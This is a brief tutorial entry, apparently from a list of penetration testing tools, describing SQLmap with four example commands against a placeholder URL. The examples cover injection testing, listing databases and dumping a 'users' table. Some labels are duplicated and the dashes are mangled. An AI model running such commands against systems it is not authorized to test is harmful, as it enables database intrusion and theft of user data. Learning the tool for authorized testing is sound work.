4. SQLmap
Description:
SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.
Examples:
- Basic SQL Injection Test:
- sqlmap -u “http://example.com/vuln?id=1”
- Basic SQL Injection Test:
Explanation: Tests the target URL for SQL injection vulnerabilities and attempts to enumerate databases.
- List Databases:
- sqlmap -u “http://example.com/vuln?id=1” –dbs
- List Databases:
Explanation: Finds SQL injection vulnerabilities and lists all the databases.
- Dump Database:
- sqlmap -u “http://example.com/vuln?id=1” -D testdb -T users –dump
- Dump Database:
Explanation: Dumps the “users” table from the “testdb” database if the injection is successful.
- Specify HTTP Headers:
- sqlmap -u “http://example.com/vuln?id=1″ –headers=”User-Agent: Mozilla”
- Specify HTTP Headers:
Explanation: Uses a custom User-Agent header for the SQL injection attempt.